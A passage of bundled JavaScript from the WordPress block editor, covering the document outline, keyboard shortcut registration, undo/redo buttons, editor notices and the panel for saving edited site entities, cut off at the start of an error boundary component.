    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("ul", {
      children: [hasTitle && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(document_outline_item, {
        level: (0,external_wp_i18n_namespaceObject.__)('Title'),
        isValid: true,
        onSelect: onSelect,
        href: `#${titleNode.id}`,
        isDisabled: hasOutlineItemsDisabled,
        children: title
      }), headings.map(item => {
        // Headings remain the same, go up by one, or down by any amount.
        // Otherwise there are missing levels.
        const isIncorrectLevel = item.level > prevHeadingLevelRef.current + 1;
        const isValid = !item.isEmpty && !isIncorrectLevel && !!item.level && (item.level !== 1 || !hasMultipleH1 && !hasTitle);
        prevHeadingLevelRef.current = item.level;
        return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(document_outline_item, {
          level: `H${item.level}`,
          isValid: isValid,
          isDisabled: hasOutlineItemsDisabled || !isContentBlock(item.clientId),
          href: `#block-${item.clientId}`,
          onSelect: () => {
            selectBlock(item.clientId);
            onSelect?.();
          },
          children: [item.isEmpty ? emptyHeadingContent : (0,external_wp_richText_namespaceObject.getTextContent)((0,external_wp_richText_namespaceObject.create)({
            html: item.attributes.content
          })), isIncorrectLevel && incorrectLevelContent, item.level === 1 && hasMultipleH1 && multipleH1Headings, hasTitle && item.level === 1 && !hasMultipleH1 && singleH1Headings]
        }, item.clientId);
      })]
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/document-outline/check.js
/**
 * WordPress dependencies
 */



/**
 * Component check if there are any headings (core/heading blocks) present in the document.
 *
 * @param {Object}          props          Props.
 * @param {React.ReactNode} props.children Children to be rendered.
 *
 * @return {React.ReactNode} The component to be rendered or null if there are headings.
 */
function DocumentOutlineCheck({
  children
}) {
  const hasHeadings = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getGlobalBlockCount
    } = select(external_wp_blockEditor_namespaceObject.store);
    return getGlobalBlockCount('core/heading') > 0;
  });
  if (!hasHeadings) {
    return null;
  }
  return children;
}

;// ./node_modules/@wordpress/editor/build-module/components/global-keyboard-shortcuts/register-shortcuts.js
/**
 * WordPress dependencies
 */







/**
 * Component for registering editor keyboard shortcuts.
 *
 * @return {Element} The component to be rendered.
 */

function EditorKeyboardShortcutsRegister() {
  // Registering the shortcuts.
  const {
    registerShortcut
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_keyboardShortcuts_namespaceObject.store);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    registerShortcut({
      name: 'core/editor/toggle-mode',
      category: 'global',
      description: (0,external_wp_i18n_namespaceObject.__)('Switch between visual editor and code editor.'),
      keyCombination: {
        modifier: 'secondary',
        character: 'm'
      }
    });
    registerShortcut({
      name: 'core/editor/save',
      category: 'global',
      description: (0,external_wp_i18n_namespaceObject.__)('Save your changes.'),
      keyCombination: {
        modifier: 'primary',
        character: 's'
      }
    });
    registerShortcut({
      name: 'core/editor/undo',
      category: 'global',
      description: (0,external_wp_i18n_namespaceObject.__)('Undo your last changes.'),
      keyCombination: {
        modifier: 'primary',
        character: 'z'
      }
    });
    registerShortcut({
      name: 'core/editor/redo',
      category: 'global',
      description: (0,external_wp_i18n_namespaceObject.__)('Redo your last undo.'),
      keyCombination: {
        modifier: 'primaryShift',
        character: 'z'
      },
      // Disable on Apple OS because it conflicts with the browser's
      // history shortcut. It's a fine alias for both Windows and Linux.
      // Since there's no conflict for Ctrl+Shift+Z on both Windows and
      // Linux, we keep it as the default for consistency.
      aliases: (0,external_wp_keycodes_namespaceObject.isAppleOS)() ? [] : [{
        modifier: 'primary',
        character: 'y'
      }]
    });
    registerShortcut({
      name: 'core/editor/toggle-list-view',
      category: 'global',
      description: (0,external_wp_i18n_namespaceObject.__)('Show or hide the List View.'),
      keyCombination: {
        modifier: 'access',
        character: 'o'
      }
    });
    registerShortcut({
      name: 'core/editor/toggle-distraction-free',
      category: 'global',
      description: (0,external_wp_i18n_namespaceObject.__)('Enter or exit distraction free mode.'),
      keyCombination: {
        modifier: 'primaryShift',
        character: '\\'
      }
    });
    registerShortcut({
      name: 'core/editor/toggle-sidebar',
      category: 'global',
      description: (0,external_wp_i18n_namespaceObject.__)('Show or hide the Settings panel.'),
      keyCombination: {
        modifier: 'primaryShift',
        character: ','
      }
    });
    registerShortcut({
      name: 'core/editor/keyboard-shortcuts',
      category: 'main',
      description: (0,external_wp_i18n_namespaceObject.__)('Display these keyboard shortcuts.'),
      keyCombination: {
        modifier: 'access',
        character: 'h'
      }
    });
    registerShortcut({
      name: 'core/editor/next-region',
      category: 'global',
      description: (0,external_wp_i18n_namespaceObject.__)('Navigate to the next part of the editor.'),
      keyCombination: {
        modifier: 'ctrl',
        character: '`'
      },
      aliases: [{
        modifier: 'access',
        character: 'n'
      }]
    });
    registerShortcut({
      name: 'core/editor/previous-region',
      category: 'global',
      description: (0,external_wp_i18n_namespaceObject.__)('Navigate to the previous part of the editor.'),
      keyCombination: {
        modifier: 'ctrlShift',
        character: '`'
      },
      aliases: [{
        modifier: 'access',
        character: 'p'
      }, {
        modifier: 'ctrlShift',
        character: '~'
      }]
    });
  }, [registerShortcut]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockEditorKeyboardShortcuts.Register, {});
}
/* harmony default export */ const register_shortcuts = (EditorKeyboardShortcutsRegister);

;// ./node_modules/@wordpress/icons/build-module/library/redo.js
/**
 * WordPress dependencies
 */


const redo_redo = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M15.6 6.5l-1.1 1 2.9 3.3H8c-.9 0-1.7.3-2.3.9-1.4 1.5-1.4 4.2-1.4 5.6v.2h1.5v-.3c0-1.1 0-3.5 1-4.5.3-.3.7-.5 1.3-.5h9.2L14.5 15l1.1 1.1 4.6-4.6-4.6-5z"
  })
});
/* harmony default export */ const library_redo = (redo_redo);

;// ./node_modules/@wordpress/icons/build-module/library/undo.js
/**
 * WordPress dependencies
 */


const undo_undo = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M18.3 11.7c-.6-.6-1.4-.9-2.3-.9H6.7l2.9-3.3-1.1-1-4.5 5L8.5 16l1-1-2.7-2.7H16c.5 0 .9.2 1.3.5 1 1 1 3.4 1 4.5v.3h1.5v-.2c0-1.5 0-4.3-1.5-5.7z"
  })
});
/* harmony default export */ const library_undo = (undo_undo);

;// ./node_modules/@wordpress/editor/build-module/components/editor-history/redo.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */


function EditorHistoryRedo(props, ref) {
  const shortcut = (0,external_wp_keycodes_namespaceObject.isAppleOS)() ? external_wp_keycodes_namespaceObject.displayShortcut.primaryShift('z') : external_wp_keycodes_namespaceObject.displayShortcut.primary('y');
  const hasRedo = (0,external_wp_data_namespaceObject.useSelect)(select => select(store_store).hasEditorRedo(), []);
  const {
    redo
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    __next40pxDefaultSize: true,
    ...props,
    ref: ref,
    icon: !(0,external_wp_i18n_namespaceObject.isRTL)() ? library_redo : library_undo
    /* translators: button label text should, if possible, be under 16 characters. */,
    label: (0,external_wp_i18n_namespaceObject.__)('Redo'),
    shortcut: shortcut
    // If there are no redo levels we don't want to actually disable this
    // button, because it will remove focus for keyboard users.
    // See: https://github.com/WordPress/gutenberg/issues/3486
    ,
    "aria-disabled": !hasRedo,
    onClick: hasRedo ? redo : undefined,
    className: "editor-history__redo"
  });
}

/** @typedef {import('react').Ref<HTMLElement>} Ref */

/**
 * Renders the redo button for the editor history.
 *
 * @param {Object} props - Props.
 * @param {Ref}    ref   - Forwarded ref.
 *
 * @return {React.ReactNode} The rendered component.
 */
/* harmony default export */ const editor_history_redo = ((0,external_wp_element_namespaceObject.forwardRef)(EditorHistoryRedo));

;// ./node_modules/@wordpress/editor/build-module/components/editor-history/undo.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */


function EditorHistoryUndo(props, ref) {
  const hasUndo = (0,external_wp_data_namespaceObject.useSelect)(select => select(store_store).hasEditorUndo(), []);
  const {
    undo
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    __next40pxDefaultSize: true,
    ...props,
    ref: ref,
    icon: !(0,external_wp_i18n_namespaceObject.isRTL)() ? library_undo : library_redo
    /* translators: button label text should, if possible, be under 16 characters. */,
    label: (0,external_wp_i18n_namespaceObject.__)('Undo'),
    shortcut: external_wp_keycodes_namespaceObject.displayShortcut.primary('z')
    // If there are no undo levels we don't want to actually disable this
    // button, because it will remove focus for keyboard users.
    // See: https://github.com/WordPress/gutenberg/issues/3486
    ,
    "aria-disabled": !hasUndo,
    onClick: hasUndo ? undo : undefined,
    className: "editor-history__undo"
  });
}

/** @typedef {import('react').Ref<HTMLElement>} Ref */

/**
 * Renders the undo button for the editor history.
 *
 * @param {Object} props - Props.
 * @param {Ref}    ref   - Forwarded ref.
 *
 * @return {React.ReactNode} The rendered component.
 */
/* harmony default export */ const editor_history_undo = ((0,external_wp_element_namespaceObject.forwardRef)(EditorHistoryUndo));

;// ./node_modules/@wordpress/editor/build-module/components/template-validation-notice/index.js
/**
 * WordPress dependencies
 */






function TemplateValidationNotice() {
  const [showConfirmDialog, setShowConfirmDialog] = (0,external_wp_element_namespaceObject.useState)(false);
  const isValid = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return select(external_wp_blockEditor_namespaceObject.store).isValidTemplate();
  }, []);
  const {
    setTemplateValidity,
    synchronizeTemplate
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
  if (isValid) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, {
      className: "editor-template-validation-notice",
      isDismissible: false,
      status: "warning",
      actions: [{
        label: (0,external_wp_i18n_namespaceObject.__)('Keep it as is'),
        onClick: () => setTemplateValidity(true)
      }, {
        label: (0,external_wp_i18n_namespaceObject.__)('Reset the template'),
        onClick: () => setShowConfirmDialog(true)
      }],
      children: (0,external_wp_i18n_namespaceObject.__)('The content of your post doesn’t match the template assigned to your post type.')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
      isOpen: showConfirmDialog,
      confirmButtonText: (0,external_wp_i18n_namespaceObject.__)('Reset'),
      onConfirm: () => {
        setShowConfirmDialog(false);
        synchronizeTemplate();
      },
      onCancel: () => setShowConfirmDialog(false),
      size: "medium",
      children: (0,external_wp_i18n_namespaceObject.__)('Resetting the template may result in loss of content, do you want to continue?')
    })]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/editor-notices/index.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


/**
 * This component renders the notices displayed in the editor. It displays pinned notices first, followed by dismissible
 *
 * @example
 * ```jsx
 * <EditorNotices />
 * ```
 *
 * @return {React.ReactNode} The rendered EditorNotices component.
 */

function EditorNotices() {
  const {
    notices
  } = (0,external_wp_data_namespaceObject.useSelect)(select => ({
    notices: select(external_wp_notices_namespaceObject.store).getNotices()
  }), []);
  const {
    removeNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const dismissibleNotices = notices.filter(({
    isDismissible,
    type
  }) => isDismissible && type === 'default');
  const nonDismissibleNotices = notices.filter(({
    isDismissible,
    type
  }) => !isDismissible && type === 'default');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.NoticeList, {
      notices: nonDismissibleNotices,
      className: "components-editor-notices__pinned"
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.NoticeList, {
      notices: dismissibleNotices,
      className: "components-editor-notices__dismissible",
      onRemove: removeNotice,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TemplateValidationNotice, {})
    })]
  });
}
/* harmony default export */ const editor_notices = (EditorNotices);

;// ./node_modules/@wordpress/editor/build-module/components/editor-snackbars/index.js
/**
 * WordPress dependencies
 */




// Last three notices. Slices from the tail end of the list.

const MAX_VISIBLE_NOTICES = -3;

/**
 * Renders the editor snackbars component.
 *
 * @return {React.ReactNode} The rendered component.
 */
function EditorSnackbars() {
  const notices = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_notices_namespaceObject.store).getNotices(), []);
  const {
    removeNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const snackbarNotices = notices.filter(({
    type
  }) => type === 'snackbar').slice(MAX_VISIBLE_NOTICES);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SnackbarList, {
    notices: snackbarNotices,
    className: "components-editor-notices__snackbar",
    onRemove: removeNotice
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/entities-saved-states/entity-record-item.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */




function EntityRecordItem({
  record,
  checked,
  onChange
}) {
  const {
    name,
    kind,
    title,
    key
  } = record;

  // Handle templates that might use default descriptive titles.
  const {
    entityRecordTitle,
    hasPostMetaChanges
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _select$getCurrentThe;
    if ('postType' !== kind || 'wp_template' !== name) {
      return {
        entityRecordTitle: title,
        hasPostMetaChanges: unlock(select(store_store)).hasPostMetaChanges(name, key)
      };
    }
    const template = select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(kind, name, key);
    const {
      default_template_types: templateTypes = []
    } = (_select$getCurrentThe = select(external_wp_coreData_namespaceObject.store).getCurrentTheme()) !== null && _select$getCurrentThe !== void 0 ? _select$getCurrentThe : {};
    return {
      entityRecordTitle: getTemplateInfo({
        template,
        templateTypes
      }).title,
      hasPostMetaChanges: unlock(select(store_store)).hasPostMetaChanges(name, key)
    };
  }, [name, kind, title, key]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelRow, {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CheckboxControl, {
        __nextHasNoMarginBottom: true,
        label: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(entityRecordTitle) || (0,external_wp_i18n_namespaceObject.__)('Untitled'),
        checked: checked,
        onChange: onChange,
        className: "entities-saved-states__change-control"
      })
    }), hasPostMetaChanges && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", {
      className: "entities-saved-states__changes",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("li", {
        children: (0,external_wp_i18n_namespaceObject.__)('Post Meta.')
      })
    })]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/entities-saved-states/entity-type-list.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */



const {
  getGlobalStylesChanges,
  GlobalStylesContext: entity_type_list_GlobalStylesContext
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function getEntityDescription(entity, count) {
  switch (entity) {
    case 'site':
      return 1 === count ? (0,external_wp_i18n_namespaceObject.__)('This change will affect your whole site.') : (0,external_wp_i18n_namespaceObject.__)('These changes will affect your whole site.');
    case 'wp_template':
      return (0,external_wp_i18n_namespaceObject.__)('This change will affect other parts of your site that use this template.');
    case 'page':
    case 'post':
      return (0,external_wp_i18n_namespaceObject.__)('The following has been modified.');
  }
}
function GlobalStylesDescription({
  record
}) {
  const {
    user: currentEditorGlobalStyles
  } = (0,external_wp_element_namespaceObject.useContext)(entity_type_list_GlobalStylesContext);
  const savedRecord = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getEntityRecord(record.kind, record.name, record.key), [record.kind, record.name, record.key]);
  const globalStylesChanges = getGlobalStylesChanges(currentEditorGlobalStyles, savedRecord, {
    maxResults: 10
  });
  return globalStylesChanges.length ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", {
    className: "entities-saved-states__changes",
    children: globalStylesChanges.map(change => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("li", {
      children: change
    }, change))
  }) : null;
}
function EntityDescription({
  record,
  count
}) {
  if ('globalStyles' === record?.name) {
    return null;
  }
  const description = getEntityDescription(record?.name, count);
  return description ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelRow, {
    children: description
  }) : null;
}
function EntityTypeList({
  list,
  unselectedEntities,
  setUnselectedEntities
}) {
  const count = list.length;
  const firstRecord = list[0];
  const entityConfig = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getEntityConfig(firstRecord.kind, firstRecord.name), [firstRecord.kind, firstRecord.name]);
  let entityLabel = entityConfig.label;
  if (firstRecord?.name === 'wp_template_part') {
    entityLabel = 1 === count ? (0,external_wp_i18n_namespaceObject.__)('Template Part') : (0,external_wp_i18n_namespaceObject.__)('Template Parts');
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.PanelBody, {
    title: entityLabel,
    initialOpen: true,
    className: "entities-saved-states__panel-body",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EntityDescription, {
      record: firstRecord,
      count: count
    }), list.map(record => {
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EntityRecordItem, {
        record: record,
        checked: !unselectedEntities.some(elt => elt.kind === record.kind && elt.name === record.name && elt.key === record.key && elt.property === record.property),
        onChange: value => setUnselectedEntities(record, value)
      }, record.key || record.property);
    }), 'globalStyles' === firstRecord?.name && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesDescription, {
      record: firstRecord
    })]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/entities-saved-states/hooks/use-is-dirty.js
/**
 * WordPress dependencies
 */




/**
 * Custom hook that determines if any entities are dirty (edited) and provides a way to manage selected/unselected entities.
 *
 * @return {Object} An object containing the following properties:
 *   - dirtyEntityRecords: An array of dirty entity records.
 *   - isDirty: A boolean indicating if there are any dirty entity records.
 *   - setUnselectedEntities: A function to set the unselected entities.
 *   - unselectedEntities: An array of unselected entities.
 */
const useIsDirty = () => {
  const {
    editedEntities,
    siteEdits,
    siteEntityConfig
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      __experimentalGetDirtyEntityRecords,
      getEntityRecordEdits,
      getEntityConfig
    } = select(external_wp_coreData_namespaceObject.store);
    return {
      editedEntities: __experimentalGetDirtyEntityRecords(),
      siteEdits: getEntityRecordEdits('root', 'site'),
      siteEntityConfig: getEntityConfig('root', 'site')
    };
  }, []);
  const dirtyEntityRecords = (0,external_wp_element_namespaceObject.useMemo)(() => {
    var _siteEntityConfig$met;
    // Remove site object and decouple into its edited pieces.
    const editedEntitiesWithoutSite = editedEntities.filter(record => !(record.kind === 'root' && record.name === 'site'));
    const siteEntityLabels = (_siteEntityConfig$met = siteEntityConfig?.meta?.labels) !== null && _siteEntityConfig$met !== void 0 ? _siteEntityConfig$met : {};
    const editedSiteEntities = [];
    for (const property in siteEdits) {
      editedSiteEntities.push({
        kind: 'root',
        name: 'site',
        title: siteEntityLabels[property] || property,
        property
      });
    }
    return [...editedEntitiesWithoutSite, ...editedSiteEntities];
  }, [editedEntities, siteEdits, siteEntityConfig]);

  // Unchecked entities to be ignored by save function.
  const [unselectedEntities, _setUnselectedEntities] = (0,external_wp_element_namespaceObject.useState)([]);
  const setUnselectedEntities = ({
    kind,
    name,
    key,
    property
  }, checked) => {
    if (checked) {
      _setUnselectedEntities(unselectedEntities.filter(elt => elt.kind !== kind || elt.name !== name || elt.key !== key || elt.property !== property));
    } else {
      _setUnselectedEntities([...unselectedEntities, {
        kind,
        name,
        key,
        property
      }]);
    }
  };
  const isDirty = dirtyEntityRecords.length - unselectedEntities.length > 0;
  return {
    dirtyEntityRecords,
    isDirty,
    setUnselectedEntities,
    unselectedEntities
  };
};

;// ./node_modules/@wordpress/editor/build-module/components/entities-saved-states/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */





function identity(values) {
  return values;
}

/**
 * Renders the component for managing saved states of entities.
 *
 * @param {Object}   props              The component props.
 * @param {Function} props.close        The function to close the dialog.
 * @param {boolean}  props.renderDialog Whether to render the component with modal dialog behavior.
 * @param {string}   props.variant      Changes the layout of the component. When an `inline` value is provided, the action buttons are rendered at the end of the component instead of at the start.
 *
 * @return {React.ReactNode} The rendered component.
 */
function EntitiesSavedStates({
  close,
  renderDialog,
  variant
}) {
  const isDirtyProps = useIsDirty();
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EntitiesSavedStatesExtensible, {
    close: close,
    renderDialog: renderDialog,
    variant: variant,
    ...isDirtyProps
  });
}

/**
 * Renders a panel for saving entities with dirty records.
 *
 * @param {Object}   props                       The component props.
 * @param {string}   props.additionalPrompt      Additional prompt to display.
 * @param {Function} props.close                 Function to close the panel.
 * @param {Function} props.onSave                Function to call when saving entities.
 * @param {boolean}  props.saveEnabled           Flag indicating if save is enabled.
 * @param {string}   props.saveLabel             Label for the save button.
 * @param {boolean}  props.renderDialog          Whether to render the component with modal dialog behavior.
 * @param {Array}    props.dirtyEntityRecords    Array of dirty entity records.
 * @param {boolean}  props.isDirty               Flag indicating if there are dirty entities.
 * @param {Function} props.setUnselectedEntities Function to set unselected entities.
 * @param {Array}    props.unselectedEntities    Array of unselected entities.
 * @param {string}   props.variant               Changes the layout of the component. When an `inline` value is provided, the action buttons are rendered at the end of the component instead of at the start.
 *
 * @return {React.ReactNode} The rendered component.
 */
function EntitiesSavedStatesExtensible({
  additionalPrompt = undefined,
  close,
  onSave = identity,
  saveEnabled: saveEnabledProp = undefined,
  saveLabel = (0,external_wp_i18n_namespaceObject.__)('Save'),
  renderDialog,
  dirtyEntityRecords,
  isDirty,
  setUnselectedEntities,
  unselectedEntities,
  variant = 'default'
}) {
  const saveButtonRef = (0,external_wp_element_namespaceObject.useRef)();
  const {
    saveDirtyEntities
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store_store));
  // To group entities by type.
  const partitionedSavables = dirtyEntityRecords.reduce((acc, record) => {
    const {
      name
    } = record;
    if (!acc[name]) {
      acc[name] = [];
    }
    acc[name].push(record);
    return acc;
  }, {});

  // Sort entity groups.
  const {
    site: siteSavables,
    wp_template: templateSavables,
    wp_template_part: templatePartSavables,
    ...contentSavables
  } = partitionedSavables;
  const sortedPartitionedSavables = [siteSavables, templateSavables, templatePartSavables, ...Object.values(contentSavables)].filter(Array.isArray);
  const saveEnabled = saveEnabledProp !== null && saveEnabledProp !== void 0 ? saveEnabledProp : isDirty;
  // Explicitly define this with no argument passed.  Using `close` on
  // its own will use the event object in place of the expected saved entities.
  const dismissPanel = (0,external_wp_element_namespaceObject.useCallback)(() => close(), [close]);
  const [saveDialogRef, saveDialogProps] = (0,external_wp_compose_namespaceObject.__experimentalUseDialog)({
    onClose: () => dismissPanel()
  });
  const dialogLabelId = (0,external_wp_compose_namespaceObject.useInstanceId)(EntitiesSavedStatesExtensible, 'entities-saved-states__panel-label');
  const dialogDescriptionId = (0,external_wp_compose_namespaceObject.useInstanceId)(EntitiesSavedStatesExtensible, 'entities-saved-states__panel-description');
  const selectItemsToSaveDescription = !!dirtyEntityRecords.length ? (0,external_wp_i18n_namespaceObject.__)('Select the items you want to save.') : undefined;
  const isInline = variant === 'inline';
  const actionButtons = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
      isBlock: isInline ? false : true,
      as: external_wp_components_namespaceObject.Button,
      variant: isInline ? 'tertiary' : 'secondary',
      size: isInline ? undefined : 'compact',
      onClick: dismissPanel,
      children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
      isBlock: isInline ? false : true,
      as: external_wp_components_namespaceObject.Button,
      ref: saveButtonRef,
      variant: "primary",
      size: isInline ? undefined : 'compact',
      disabled: !saveEnabled,
      accessibleWhenDisabled: true,
      onClick: () => saveDirtyEntities({
        onSave,
        dirtyEntityRecords,
        entitiesToSkip: unselectedEntities,
        close
      }),
      className: "editor-entities-saved-states__save-button",
      children: saveLabel
    })]
  });
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    ref: renderDialog ? saveDialogRef : undefined,
    ...(renderDialog && saveDialogProps),
    className: dist_clsx('entities-saved-states__panel', {
      'is-inline': isInline
    }),
    role: renderDialog ? 'dialog' : undefined,
    "aria-labelledby": renderDialog ? dialogLabelId : undefined,
    "aria-describedby": renderDialog ? dialogDescriptionId : undefined,
    children: [!isInline && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, {
      className: "entities-saved-states__panel-header",
      gap: 2,
      children: actionButtons
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      className: "entities-saved-states__text-prompt",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: "entities-saved-states__text-prompt--header-wrapper",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("strong", {
          id: renderDialog ? dialogLabelId : undefined,
          className: "entities-saved-states__text-prompt--header",
          children: (0,external_wp_i18n_namespaceObject.__)('Are you ready to save?')
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
        id: renderDialog ? dialogDescriptionId : undefined,
        children: [additionalPrompt, /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
          className: "entities-saved-states__text-prompt--changes-count",
          children: isDirty ? (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %d: number of site changes waiting to be saved. */
          (0,external_wp_i18n_namespaceObject._n)('There is <strong>%d site change</strong> waiting to be saved.', 'There are <strong>%d site changes</strong> waiting to be saved.', dirtyEntityRecords.length), dirtyEntityRecords.length), {
            strong: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("strong", {})
          }) : selectItemsToSaveDescription
        })]
      })]
    }), sortedPartitionedSavables.map(list => {
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EntityTypeList, {
        list: list,
        unselectedEntities: unselectedEntities,
        setUnselectedEntities: setUnselectedEntities
      }, list[0].name);
    }), isInline && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, {
      direction: "row",
      justify: "flex-end",
      className: "entities-saved-states__panel-footer",
      children: actionButtons
    })]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/error-boundary/index.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */


function getContent() {
  try {
    // While `select` in a component is generally discouraged, it is
    // used here because it (a) reduces the chance of data loss in the
    // case of additional errors by performing a direct retrieval and
    // (b) avoids the performance cost associated with unnecessary
    // content serialization throughout the lifetime of a non-erroring
    // application.
    return (0,external_wp_data_namespaceObject.select)(store_store).getEditedPostContent();
  } catch (error) {}
}
function CopyButton({
  text,
  children,
  variant = 'secondary'
}) {
  const ref = (0,external_wp_compose_namespaceObject.useCopyToClipboard)(text);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    __next40pxDefaultSize: true,
    variant: variant,
    ref: ref,
    children: children
  });
}
class ErrorBoundary extends external_wp_element_namespaceObject.Component {
  constructor() {
    super(...arguments);
    this.state = {
      error: null
    };
  }
  componentDidCatch(error) {
    (0,external_wp_hooks_namespaceObject.doAction)('editor.ErrorBoundary.errorLogged', error);
  }
  static getDerivedStateFromError(error) {
    return {
      error
    };
  }
  render() {
    const {
      error
    } = this.state;
    const {
      canCopyContent = false
    } = this.props;
    if (!error) {
      return this.props.children;
    }
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      className: "editor-error-boundary",
